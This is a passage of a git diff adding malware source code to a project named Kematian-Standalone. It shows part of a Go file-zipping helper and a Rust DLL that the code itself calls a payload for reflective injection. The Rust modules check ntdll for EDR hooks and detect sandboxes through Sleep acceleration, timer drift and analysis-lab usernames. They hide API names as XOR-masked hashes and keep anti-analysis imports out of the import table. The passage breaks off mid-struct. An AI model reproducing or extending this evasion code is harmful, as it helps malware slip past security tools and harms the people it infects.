+} + +func ZipFiles(paths []string, baseDir string) ([]byte, error) { + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + + for _, p := range paths { + rel, err := filepath.Rel(baseDir, p) + if err != nil { + rel = filepath.Base(p) + } + f, err := os.Open(p) + if err != nil { + continue + } + w, err := zw.Create(filepath.ToSlash(rel)) + if err != nil { + f.Close() + continue + } + io.Copy(w, f) + f.Close() + } + + if err := zw.Close(); err != nil { + return nil, err + } + if buf.Len() > maxZipSize { + return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize) + } + return buf.Bytes(), nil +} diff --git a/Kematian-Standalone/rust-extractor/.cargo/config.toml b/Kematian-Standalone/rust-extractor/.cargo/config.toml new file mode 100644 index 0000000..b532e1a --- /dev/null +++ b/Kematian-Standalone/rust-extractor/.cargo/config.toml @@ -0,0 +1,6 @@ +# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL +# dependency at runtime. Only the GNU target is supported: the reflective +# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie +# machinery fast-fails under a manual map. +[target.x86_64-pc-windows-gnu] +rustflags = ["-C", "target-feature=+crt-static"] diff --git a/Kematian-Standalone/rust-extractor/.gitignore b/Kematian-Standalone/rust-extractor/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/Kematian-Standalone/rust-extractor/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Kematian-Standalone/rust-extractor/Cargo.lock b/Kematian-Standalone/rust-extractor/Cargo.lock new file mode 100644 index 0000000..2db2315 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "compat-layer" +version = "0.1.0" diff --git a/Kematian-Standalone/rust-extractor/Cargo.toml b/Kematian-Standalone/rust-extractor/Cargo.toml new file mode 100644 index 0000000..c2ac0c8 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "compat-layer" +version = "0.1.0" +edition = "2021" + +[lib] +name = "compat_layer" +crate-type = ["cdylib"] + +[profile.release] +opt-level = 3 +lto = "thin" +codegen-units = 1 +panic = "abort" +strip = "symbols" +overflow-checks = false +debug = false diff --git a/Kematian-Standalone/rust-extractor/src/abi.rs b/Kematian-Standalone/rust-extractor/src/abi.rs new file mode 100644 index 0000000..414ca0e --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/abi.rs @@ -0,0 +1,256 @@ +//! Raw Win32 FFI declarations and constants used by the payload. +//! +//! These are resolved through the normal PE import table, which the reflective +//! loader fixes up before DllMain runs. + +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(dead_code)] + +use core::ffi::c_void; + +// ---- Handles / return codes ---- +pub const INVALID_HANDLE_VALUE: usize = usize::MAX; + +// ---- CreateFileW ---- +pub const GENERIC_READ: u32 = 0x8000_0000; +pub const GENERIC_WRITE: u32 = 0x4000_0000; +pub const FILE_SHARE_READ: u32 = 0x1; +pub const FILE_SHARE_WRITE: u32 = 0x2; +pub const FILE_SHARE_DELETE: u32 = 0x4; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80; + +// ---- GetFileType ---- +pub const FILE_TYPE_DISK: u32 = 0x0001; + +// ---- DuplicateHandle ---- +pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002; + +// ---- Errors ---- +pub const ERROR_SHARING_VIOLATION: u32 = 32; + +// ---- Memory / protection ---- +pub const PAGE_EXECUTE_READ: u32 = 0x20; + +// ---- GetFileSize ---- +pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF; + +// ---- COM ---- +pub const COINIT_APARTMENTTHREADED: u32 = 0x2; +pub const CLSCTX_LOCAL_SERVER: u32 = 0x4; +pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF; +pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF; +pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6; +pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3; +pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40; +pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32; + +// ---- GUID ---- +#[repr(C)] +#[derive(Clone, Copy)] +pub struct GUID { + pub data1: u32, + pub data2: u16, + pub data3: u16, + pub data4: [u8; 8], +} + +#[link(name = "kernel32")] +extern "system" { + pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32; + pub fn GetEnvironmentVariableW( + lpName: *const u16, + lpBuffer: *mut u16, + nSize: u32, + ) -> u32; + pub fn CreateFileW( + lpFileName: *const u16, + dwDesiredAccess: u32, + dwShareMode: u32, + lpSecurityAttributes: *mut c_void, + dwCreationDisposition: u32, + dwFlagsAndAttributes: u32, + hTemplateFile: usize, + ) -> usize; + pub fn ReadFile( + hFile: usize, + lpBuffer: *mut c_void, + nNumberOfBytesToRead: u32, + lpNumberOfBytesRead: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; + pub fn WriteFile( + hFile: usize, + lpBuffer: *const c_void, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; + pub fn FlushFileBuffers(hFile: usize) -> i32; + pub fn CloseHandle(hObject: usize) -> i32; + pub fn GetFileType(hFile: usize) -> u32; + pub fn GetFinalPathNameByHandleW( + hFile: usize, + lpszFilePath: *mut u16, + cchFilePath: u32, + dwFlags: u32, + ) -> u32; + pub fn DuplicateHandle( + hSourceProcessHandle: usize, + hSourceHandle: usize, + hTargetProcessHandle: usize, + lpTargetHandle: *mut usize, + dwDesiredAccess: u32, + bInheritHandle: i32, + dwOptions: u32, + ) -> i32; + pub fn GetCurrentProcess() -> usize; + pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32; + pub fn GetLastError() -> u32; + + // ---- anti-debug / anti-vm / runtime introspection ---- + pub fn IsDebuggerPresent() -> i32; + pub fn QueryPerformanceCounter(lpCounter: *mut i64) -> i32; + pub fn GetTickCount64() -> u64; + pub fn GetSystemFirmwareTable( + firmware_table_provider_signature: u32, + firmware_table_id: u32, + p_firmware_table_buffer: *mut c_void, + buffer_size: u32, + ) -> u32; + pub fn GetSystemInfo(lp_system_info: *mut c_void) -> (); + pub fn GlobalMemoryStatusEx(lp_buffer: *mut c_void) -> i32; + pub fn CreateToolhelp32Snapshot(dw_flags: u32, th32_process_id: u32) -> usize; + pub fn Process32FirstW(h_snapshot: usize, lppe: *mut c_void) -> i32; + pub fn Process32NextW(h_snapshot: usize, lppe: *mut c_void) -> i32; + pub fn OpenProcess(dw_desired_access: u32, b_inherit_handle: i32, dw_process_id: u32) -> usize; + + // ---- anti-sandbox: hooked-path Sleep (must go through the normal API so + // sandbox sleep-skipping is observable) ---- + pub fn Sleep(dw_milliseconds: u32); + + // ---- anti-sandbox: directory enumeration (Recent files count etc.) ---- + pub fn FindFirstFileExW( + lp_file_name: *const u16, + f_info_level_id: u32, + lp_find_file_data: *mut c_void, + f_search_op: u32, + lp_search_filter: *mut c_void, + dw_additional_flags: u32, + ) -> usize; + pub fn FindNextFileW(h_find_file: usize, lp_find_file_data: *mut c_void) -> i32; + + // ---- anti-vm: registry probing (advapi32, declared below) ---- + + // ---- anti-vm: filesystem artifacts (kernel32) ---- + // GetFileAttributesW declared in the separate extern block below. + + // ---- anti-vm: adapter info / input / disk / windows ---- + // Declared in their respective extern blocks below. + + // ---- anti-dump / memory introspection (kept; VirtualProtect/NtQuery* are + // resolved at runtime via apires so they don't appear in the import table) ---- + pub fn VirtualQuery(lp_address: *const c_void, lp_buffer: *mut c_void, dw_length: usize) -> usize; +} + +#[link(name = "ole32")] +extern "system" { + pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32; + pub fn CoUninitialize(); + pub fn CoCreateInstance( + rclsid: *const GUID, + pUnkOuter: *mut c_void, + dwClsContext: u32, + riid: *const GUID, + ppv: *mut *mut c_void, + ) -> i32; + pub fn CoSetProxyBlanket( + pProxy: *mut c_void, + dwAuthnSvc: u32, + dwAuthzSvc: u32, + pServerPrincName: *mut u16, + dwAuthnLevel: u32, + dwImpLevel: u32, + pAuthInfo: *mut c_void, + dwCapabilities: u32, + ) -> i32; +} + +#[link(name = "oleaut32")] +extern "system" { + pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16; + pub fn SysFreeString(bstrString: *mut u16); + pub fn SysStringByteLen(bstrString: *mut u16) -> u32; +} + +// ---- Display (user32) : used to detect virtual/OEM display drivers via a very +// low refresh-rate signature and driver name. ---- +pub const ENUM_CURRENT_SETTINGS: u32 = 0xFFFFFFFF; + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct DEVMODEW { + pub dm_device_name: [u16; 32], + pub dm_spec_version: u16, + pub dm_driver_version: u16, + pub dm_size: u16, + pub dm_driver_extra: u16, + pub dm_fields: u32, + pub dm_union: [u32; 12], // union of position/orientation/etc; shrunk to 12 + pub dm_display_orientation: i32, + pub dm_display_fixed_output: u32, + pub dm_color: i16, + pub dm_duplex: i16, + pub dm_y_resolution: i16, + pub dm_t_t_option: i16, + pub dm_collate: i16, + pub dm_form_name: [u16; 32], + pub dm_log_pixels: u16, + pub dm_bits_per_pel: u32, + pub dm_pels_width: u32, + pub dm_pels_height: u32, + pub dm_display_flags: u32, + pub dm_display_frequency: u32, + pub dm_icc_margin: u32, + pub dm_display_orientation2: u32, + pub dm_display_fixed_output2: u32, + pub dm_panning_width: u32, + pub dm_panning_height: u32, +} + +#[link(name = "user32")] +extern "system" { + // Anti-analysis user32 APIs (window/display/input enumeration) are resolved + // at runtime via `dynapi` — they are NOT statically imported. The user32 + // link block is retained only for APIs that are both benign and needed at + // link time elsewhere; currently none qualify, so this block is empty. +} + +// ---- anti-vm: registry (advapi32) ---- +// Registry probing APIs are resolved at runtime via `dynapi` to keep the +// import table clean. Only constants remain. +pub const HKEY_LOCAL_MACHINE: usize = 0x8000_0002; +pub const KEY_READ: u32 = 0x2001_9; + +// ---- anti-vm: network adapters (iphlpapi) ---- +// GetAdaptersAddresses resolved at runtime via `dynapi`. + +// ---- anti-vm: kernel32 extras (same link block as above; declared separately +// for clarity) ---- +extern "system" { + pub fn GetFileAttributesW(lp_file_name: *const u16) -> u32; + pub fn GetDriveTypeW(lp_root_path_name: *const u16) -> u32; + pub fn GetVolumeInformationW( + lp_root_path_name: *const u16, + lp_volume_name_buffer: *mut u16, + n_volume_name_size: u32, + lp_volume_serial_number: *mut u32, + lp_maximum_component_length: *mut u32, + lp_file_system_flags: *mut u32, + lp_file_system_name_buffer: *mut u16, + n_file_system_name_size: u32, + ) -> i32; + pub fn Module32FirstW(h_snapshot: usize, lpme: *mut c_void) -> i32; + pub fn Module32NextW(h_snapshot: usize, lpme: *mut c_void) -> i32; +} diff --git a/Kematian-Standalone/rust-extractor/src/antihook.rs b/Kematian-Standalone/rust-extractor/src/antihook.rs new file mode 100644 index 0000000..1bbd74c --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/antihook.rs @@ -0,0 +1,357 @@ +//! Userland hook detection — comprehensive. +//! +//! EDRs and sandboxes typically hot-patch the first bytes of critical NT APIs +//! (ntdll) to redirect execution into their own instrumentation. An unhooked +//! x64 syscall stub begins with a fixed prologue (`mov r10, rcx; mov eax, ; +//! syscall; ret`) — a hook replaces this with a `jmp`/`push`/`mov` into their DLL. +//! +//! We detect: +//! - Inline hooks (code patching at function entry) +//! - IAT/EAT hooks (import/export address table modifications) +//! - Syscall stub corruption +//! - Module list manipulation (hidden modules) +//! - Breakpoint / hardware breakpoint detection + +use core::ptr; + +use crate::apires; +use crate::gen; +use crate::syscall::{r as unmask, HASH_KEY}; + +/// Public byte-reader for cross-module use (syscall number extraction). +pub(crate) unsafe fn read_bytes_pub(ptr_addr: usize, buf: &mut [u8]) -> usize { + let n = buf.len().min(32); + for i in 0..n { + buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8); + } + n +} + +// Rotating-hash constants for the NT functions we probe (algorithm verified +// against apires::hash_ascii). Stored XORed with HASH_KEY so the raw API-hash +// values never appear in the binary; unmask() recovers them at runtime. +const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY; +const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY; +const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY; +const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY; +const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY; +const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; +const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY; +const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY; +const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY; +const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY; + +/// Read `len` bytes from an address (volatile) into a buffer. +unsafe fn read_bytes(ptr_addr: usize, buf: &mut [u8]) -> usize { + let n = buf.len().min(32); + for i in 0..n { + buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8); + } + n +} + +/// Check if bytes look like a clean x64 syscall stub. +/// Pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3 +unsafe fn is_clean_syscall_stub(buf: &[u8]) -> bool { + if buf.len() < 12 { + return false; + } + // mov r10, rcx + if buf[0] != 0x4C || buf[1] != 0x8B || buf[2] != 0xD1 { + return false; + } + // mov eax, imm32 + if buf[3] != 0xB8 { + return false; + } + // syscall (0F 05) at offset 8-9 + if buf[8] != 0x0F || buf[9] != 0x05 { + return false; + } + // ret (C3) at offset 10 + if buf[10] != 0xC3 { + return false; + } + true +} + +/// Check for common hook prologues: JMP (E9/EB), indirect JMP (FF 25), +/// PUSH+MOV trampoline, INT3 (CC), etc. +unsafe fn has_hook_prologue(buf: &[u8]) -> bool { + if buf.is_empty() { + return true; // unreadable = suspicious + } + match buf[0] { + 0xE9 | 0xEB => true, // JMP rel32/rel8 + 0xFF => { // Possible indirect JMP/CALL + if buf.len() > 1 && (buf[1] == 0x25 || buf[1] == 0x15) { + return true; // FF 25 (jmp [rip+disp32]) or FF 15 (call [rip+disp32]) + } + false + } + 0x68 => true, // PUSH imm32 (trampoline start) + 0xCC => true, // INT3 (breakpoint) + 0xC3 => { // RET at entry = empty stub or trampoline + if buf.len() >= 2 && buf[1] == 0x90 { + return true; // RET + NOP = suspicious + } + false + } + _ => false, + } +} + +/// Check for inline hook by comparing first N bytes against clean stub. +unsafe fn check_inline_hook(addr: usize) -> bool { + let mut probe = [0u8; 32]; + read_bytes(addr, &mut probe); + + // If it's a clean syscall stub, not hooked + if is_clean_syscall_stub(&probe) { + return false; + } + + // If it has a hook prologue, it's hooked + if has_hook_prologue(&probe) { + return true; + } + + // Additional heuristic: check for unexpected instructions in first 16 bytes + // Clean ntdll stubs don't have: CALL, LOOP, conditional Jcc in first bytes + for i in 0..16.min(probe.len()) { + match probe[i] { + 0xE8 | 0xE9 | 0xEB | 0xFF | 0x68 | 0xCC | 0x0F => { + // 0F could be conditional jump or syscall; check next byte + if probe[i] == 0x0F && i + 1 < probe.len() { + let next = probe[i + 1]; + // 0F 05 = syscall (OK), 0F 34 = sysenter (OK) + // 0F 8x = Jcc (suspicious at entry) + if (0x80..=0x8F).contains(&next) { + return true; + } + } else { + return true; + } + } + _ => {} + } + } + false +} + +/// Check IAT for a given module - look for entries pointing outside expected modules. +unsafe fn check_iat_hooks(module_base: usize) -> bool { + // Parse PE headers to find Import Address Table + let dos_hdr = module_base as *const u8; + if ptr::read_volatile(dos_hdr) != 0x4D || ptr::read_volatile(dos_hdr.add(1)) != 0x5A { + return false; // Not a valid PE + } + let lfanew = ptr::read_volatile((module_base + 0x3C) as *const u32) as usize; + let nt_hdr = module_base + lfanew; + if ptr::read_volatile(nt_hdr as *const u32) != 0x0000_4550 { + return false; // Not PE32+ + } + + // Optional header starts at nt_hdr + 24 + let opt_hdr = nt_hdr + 24; + let magic = ptr::read_volatile(opt_hdr as *const u16); + let is_pe64 = magic == 0x20B; + + // Data directories: offset 96 (PE32) or 112 (PE32+) + let dir_offset = if is_pe64 { 112 } else { 96 }; + let import_dir_rva = ptr::read_volatile((nt_hdr + dir_offset + 0) as *const u32) as usize; + let import_dir_size = ptr::read_volatile((nt_hdr + dir_offset + 4) as *const u32) as usize; + + if import_dir_rva == 0 || import_dir_size == 0 { + return false; + } + + let import_desc = (module_base + import_dir_rva) as *const u8; + let mut suspicious = 0u32; + let mut idx = 0usize; + + loop { + let name_rva = ptr::read_volatile((import_desc.add(idx).add(12)) as *const u32) as usize; + if name_rva == 0 { + break; + } + let thunk_rva = ptr::read_volatile((import_desc.add(idx).add(16)) as *const u32) as usize; + if thunk_rva == 0 { + idx += 20; + continue; + } + + // Walk thunk array + let mut thunk_idx = 0usize; + loop { + let thunk_addr = module_base + thunk_rva + thunk_idx * if is_pe64 { 8 } else { 4 }; + let thunk_val = if is_pe64 { + ptr::read_volatile(thunk_addr as *const u64) as usize + } else { + ptr::read_volatile(thunk_addr as *const u32) as usize + }; + if thunk_val == 0 { + break; + } + + // Check if thunk points outside known modules (ntdll, kernel32, kernelbase) + let in_known = is_in_known_module(thunk_val); + if !in_known && thunk_val != 0 { + suspicious += 1; + if suspicious > 5 { + return true; + } + } + thunk_idx += 1; + } + idx += 20; + } + false +} + +unsafe fn is_in_known_module(addr: usize) -> bool { + let peb = apires::peb_ptr(); + let ldr = ptr::read_volatile((peb + 0x18) as *const usize); + if ldr == 0 { return false; } + let head = ptr::read_volatile((ldr + 0x20) as *const usize); + if head == 0 { return false; } + let mut cur = head; + loop { + if cur == 0 { break; } + let entry = cur.wrapping_sub(0x10); + let base = ptr::read_volatile((entry + 0x30) as *const usize); + let size = ptr::read_volatile((entry + 0x40) as *const usize); // SizeOfImage + if base != 0 && addr >= base && addr < base + size { + return true; + } + let next = ptr::read_volatile((entry + 0x10) as *const usize); + if next == head || next == cur { break; } + cur = next; + } + false +} + +/// Check for hidden modules (modules in memory but not in PEB list). +/// Compares VAD regions against PEB module list. +unsafe fn check_hidden_modules() -> bool { + // This is complex; simplified version: check if ntdll base from PEB + // matches ntdll base from KnownDlls or manual scan. + let peb_ntdll = apires::ntdll_base(); + if peb_ntdll == 0 { + return true; // Suspicious: ntdll not in PEB + } + + // Check KnownDlls directory (requires more code) + // For now, basic sanity: ntdll should be readable and have exports + let mut probe = [0u8; 4]; + read_bytes(peb_ntdll, &mut probe); + if ptr::read_volatile(probe.as_ptr() as *const u32) != 0x0000_4550 { // Not "MZ" + "PE" + return true; // ntdll corrupted? + } + false +} + +/// Return true if a resolved NT function looks hooked (not a stock stub). +unsafe fn nt_looks_hooked(resolved: usize) -> bool { + if resolved == 0 { + return true; + } + check_inline_hook(resolved) +} + +/// Probe ntdll exports we resolve by hash and see if any are hooked. +/// Also checks IAT of current module and kernel32. +/// Returns true if instrumentation was detected. +pub unsafe fn detect_hooks() -> bool { + let mut hooked = 0u32; + let mut checked = 0u32; + + // Critical NT APIs to check + let mut critical_apis = [ + unmask(HASH_NTPROTECT_VIRTUAL_MEMORY), + unmask(HASH_NTQUERY_VIRTUAL_MEMORY), + unmask(HASH_NTALLOCATE_VIRTUAL_MEMORY), + unmask(HASH_NTFREE_VIRTUAL_MEMORY), + unmask(HASH_NTCREATE_THREAD_EX), + unmask(HASH_NTQUERY_INFORMATION_PROCESS), + unmask(HASH_NTQUERY_SYSTEM_INFORMATION), + unmask(HASH_NTREAD_VIRTUAL_MEMORY), + unmask(HASH_NTWRITE_VIRTUAL_MEMORY), + unmask(HASH_LDR_LOAD_DLL), + ]; + + // Shuffle order using HOOK_ORDER_SEED for polymorphic behavior + let mut seed = gen::HOOK_ORDER_SEED; + for i in (1..critical_apis.len()).rev() { + seed = seed.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15); + let j = (seed as usize) % (i + 1); + critical_apis.swap(i, j); + } + + for &hash in &critical_apis { + if let Some(addr) = resolve_export(hash) { + checked += 1; + if nt_looks_hooked(addr) { + hooked += 1; + } + } else { + hooked += 1; // Failed to resolve = suspicious + } + } + + // Check IAT of current module + let peb = apires::peb_ptr(); + let ldr = ptr::read_volatile((peb + 0x18) as *const usize); + if ldr != 0 { + let head = ptr::read_volatile((ldr + 0x20) as *const usize); + if head != 0 { + let mut cur = head; + loop { + if cur == 0 { break; } + let entry = cur.wrapping_sub(0x10); + let base = ptr::read_volatile((entry + 0x30) as *const usize); + let _name_ptr = ptr::read_volatile((entry + 0x60) as *const usize); + let _name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize; + + // Check if this is our own module (first entry usually) + if base != 0 { + if check_iat_hooks(base) { + hooked += 2; // IAT hook is more severe + } + break; // Only check first module (our EXE) + } + + let next = ptr::read_volatile((entry + 0x10) as *const usize); + if next == head || next == cur { break; } + cur = next; + } + } + } + + // Check for hidden modules + if check_hidden_modules() { + hooked += 2; + } + + // Threshold: 2+ hooked critical APIs, or any IAT/hidden module anomaly + hooked >= 2 +} + +/// Resolve an ntdll export by name hash, returning Some(VA) or None. +pub unsafe fn resolve_export(want: u32) -> Option { + let base = apires::ntdll_base(); + if base == 0 { + return None; + } + let addr = apires::export_by_hash_public(base, want); + if addr == 0 { + None + } else { + Some(addr) + } +} + +/// Public: check if a specific address looks hooked (for external use). +pub unsafe fn is_address_hooked(addr: usize) -> bool { + check_inline_hook(addr) +} \ No newline at end of file diff --git a/Kematian-Standalone/rust-extractor/src/antisbx.rs b/Kematian-Standalone/rust-extractor/src/antisbx.rs new file mode 100644 index 0000000..862a788 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/antisbx.rs @@ -0,0 +1,540 @@ +//! Anti-sandbox detection — reliability-focused. +//! +//! Design goal: near-zero false positives on real user machines while still +//! catching automated analysis environments (Cuckoo, CAPE, Joe, Any.Run, +//! custom sandboxes). +//! +//! Reliability strategy: +//! 1. **Hard signals** — physically impossible on a clean host (Sleep +//! acceleration, timer tampering). Each alone is conclusive. +//! 2. **Strong signals** — very rare on real machines (sandbox identity +//! markers, empty desktop). Counted individually. +//! 3. **Weak signals** — occasionally seen on legit machines (few recent +//! files, small screen, quiet mouse). Only counted when at least one +//! strong signal corroborates them. This corroboration rule is what +//! makes the overall verdict reliable. +//! +//! All signature strings are XOR-obfuscated; all checks are independent so a +//! sandbox that spoofs one vector does not defeat the rest. + +#![allow(dead_code)] + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::abi; +use crate::dynapi; +use crate::gen; +use crate::obf; +use crate::syscall; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +fn lower(b: &[u8]) -> Vec { + b.iter().map(|c| c.to_ascii_lowercase()).collect() +} + +fn contains(hay: &[u8], needle: &[u8]) -> bool { + if needle.is_empty() || hay.len() < needle.len() { + return false; + } + hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle)) +} + +fn wide(s: &[u8]) -> Vec { + s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect() +} + +unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool { + let mut hk: usize = 0; + let status = dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + subkey_wide.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ); + if status == 0 { + dynapi::RegCloseKey(hk); + true + } else { + false + } +} + +#[inline] +unsafe fn rdtsc_now() -> u64 { + let mut lo: u32; + let mut hi: u32; + asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags)); + ((hi as u64) << 32) | lo as u64 +} + +// --------------------------------------------------------------------------- +// HARD SIGNAL 1: Sleep acceleration (the classic, highly reliable check) +// +// Sandboxes (Cuckoo/CAPE/Joe and many EDR detonation chambers) hook +// kernel32!Sleep / ntdll!NtDelayExecution and fast-forward long waits to cut +// analysis time. We call the *normal hooked API path* (kernel32!Sleep) and +// measure real elapsed time with QueryPerformanceCounter. If the wall clock +// advanced far less than requested, the sleep was manipulated — no clean +// Windows host does this. +// --------------------------------------------------------------------------- + +pub fn sleep_accelerated(request_ms: u32) -> bool { + unsafe { + let mut q0: i64 = 0; + let mut q1: i64 = 0; + + abi::QueryPerformanceCounter(&mut q0); + abi::Sleep(request_ms); + abi::QueryPerformanceCounter(&mut q1); + + let freq = query_freq(); + let elapsed_ms = if freq > 0 { + ((q1 - q0) as f64) / (freq as f64) * 1000.0 + } else { + request_ms as f64 // can't measure; don't flag + }; + + // Generous margin to avoid FP from scheduling hiccups: only flag when + // less than 80% of the requested time actually passed. Real sleeps + // always overshoot slightly, never undershoot by >20%. + elapsed_ms < (request_ms as f64) * 0.80 + } +} + +unsafe fn query_freq() -> i64 { + // QueryPerformanceFrequency via direct link (add to kernel32 block). + extern "system" { + fn QueryPerformanceFrequency(lp_frequency: *mut i64) -> i32; + } + let mut f: i64 = 0; + if QueryPerformanceFrequency(&mut f) != 0 { + f + } else { + 0 + } +} + +/// Kernel-level variant: even our *own* NtDelayExecution (direct syscall, +/// bypassing any userland hook) returns early. Catches kernel-timer +/// manipulation (rare, e.g. some kernel-mode sandboxes). +pub fn kernel_sleep_accelerated(request_ms: u32) -> bool { + unsafe { + let t0 = abi::GetTickCount64(); + let interval: i64 = -((request_ms as i64) * 10_000); + syscall::sys_nt_delay_execution(0, &interval as *const i64); + let t1 = abi::GetTickCount64(); + // GetTickCount itself could be faked; require both sources to agree + // that time barely moved before flagging. + let tick_delta = t1.saturating_sub(t0); + (tick_delta as f64) < (request_ms as f64) * 0.5 && tick_delta < request_ms as u64 + } +} + +// --------------------------------------------------------------------------- +// HARD SIGNAL 2: Timer inconsistency (RDTSC vs QPC drift) +// +// Under single-stepping instrumentation the TSC advances wildly relative to +// the monotonic QPC clock between samples. Two spaced samples of the ratio +// should agree closely on clean hardware. +// --------------------------------------------------------------------------- + +pub fn timer_inconsistent() -> bool { + unsafe { + let mut q0: i64 = 0; + let mut q1: i64 = 0; + let f = query_freq(); + if f <= 0 { + return false; + } + + let t_a = rdtsc_now(); + abi::QueryPerformanceCounter(&mut q0); + // Small deterministic busy work (~ms scale). + let mut sink: u64 = 0; + for i in 0..200_000u64 { + sink ^= i.wrapping_mul(0x9E37_79B9); + } + core::hint::black_box(sink); + abi::QueryPerformanceCounter(&mut q1); + let t_b = rdtsc_now(); + + let qpc_d = (q1 - q0).max(1) as f64; + let tsc_d1 = (t_b - t_a) as f64; + let ratio1 = tsc_d1 / qpc_d; + + // Second sample after a real sleep so the two windows are separated. + abi::Sleep(120); + + let t_c = rdtsc_now(); + abi::QueryPerformanceCounter(&mut q0); + let mut sink2: u64 = 0; + for i in 0..200_000u64 { + sink2 ^= i.wrapping_mul(0x85EB_CA6B); + } + core::hint::black_box(sink2); + abi::QueryPerformanceCounter(&mut q1); + let t_d = rdtsc_now(); + + let qpc_d2 = (q1 - q0).max(1) as f64; + let tsc_d2 = (t_d - t_c) as f64; + let ratio2 = tsc_d2 / qpc_d2; + + // On clean hardware both ratios approximate the fixed TSC/QPC rate. + let hi = ratio1.max(ratio2); + let lo = ratio1.min(ratio2); + // >4x divergence between windows means something injected cycles or + // froze one clock — stepping debuggers inflate TSC massively. + hi > lo * 4.0 && hi > 50.0 + } +} + +// --------------------------------------------------------------------------- +// STRONG SIGNAL: identity markers in USERNAME / COMPUTERNAME +// +// Well-known analysis-lab account names. A hit alone isn't conclusive (a dev +// could be named "test"), so weight it strong-but-not-hard. +// --------------------------------------------------------------------------- + +pub fn identity_markers() -> bool { + // Deliberately excludes common personal names (high FP risk); keeps only + // labels that are effectively never chosen by real users. + let key: u8 = gen::K_ENV; + let names: [(obf::Slot, u32); 10] = [ + obf::sig(key, 0x7001, b"BUDDY"), + obf::sig(key, 0x7002, b"JOHN DOE"), + obf::sig(key, 0x7003, b"SANDOX"), + obf::sig(key, 0x7004, b"CURRENTUSER"), + obf::sig(key, 0x7005, b"FORTINET"), + obf::sig(key, 0x7006, b"VIRUSBOT"), + obf::sig(key, 0x7007, b"MALWAREBOT"), + obf::sig(key, 0x7008, b"SANDBOX"), + obf::sig(key, 0x7009, b"CUCKOO"), + obf::sig(key, 0x700a, b"AUTOUSER"), + ]; + const LENS: [usize; 10] = [5, 8, 6, 11, 8, 8, 10, 7, 6, 8]; + + let env_names: [&[u8]; 3] = [b"USERNAME", b"COMPUTERNAME", b"USERDOMAIN"]; + let mut buf = [0u16; 128]; + + unsafe { + for ev in env_names { + let w = wide(ev); + let got = abi::GetEnvironmentVariableW(w.as_ptr(), buf.as_mut_ptr(), 128); + if got == 0 || got >= 128 { + continue; + } + let val: Vec = buf[..got as usize].iter().map(|&c| c as u8).collect(); + let vl = lower(&val); + for (i, s) in names.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&vl, &plain[..LENS[i]]) { + return true; + } + } + } + } + false +} + +// --------------------------------------------------------------------------- +// STRONG SIGNAL: desktop emptiness (Recent-items count) +// +// A real, used machine has dozens of shell Recent links. A pristine snapshot +// has ~none. Freshly-imaged legit machines are the main FP risk, hence this +// is "strong", not hard. +// --------------------------------------------------------------------------- + +#[repr(C)] +struct FindDataW { + dw_attributes: u32, + _creation: u64, + _access: u64, + _write: u64, + _size_high: 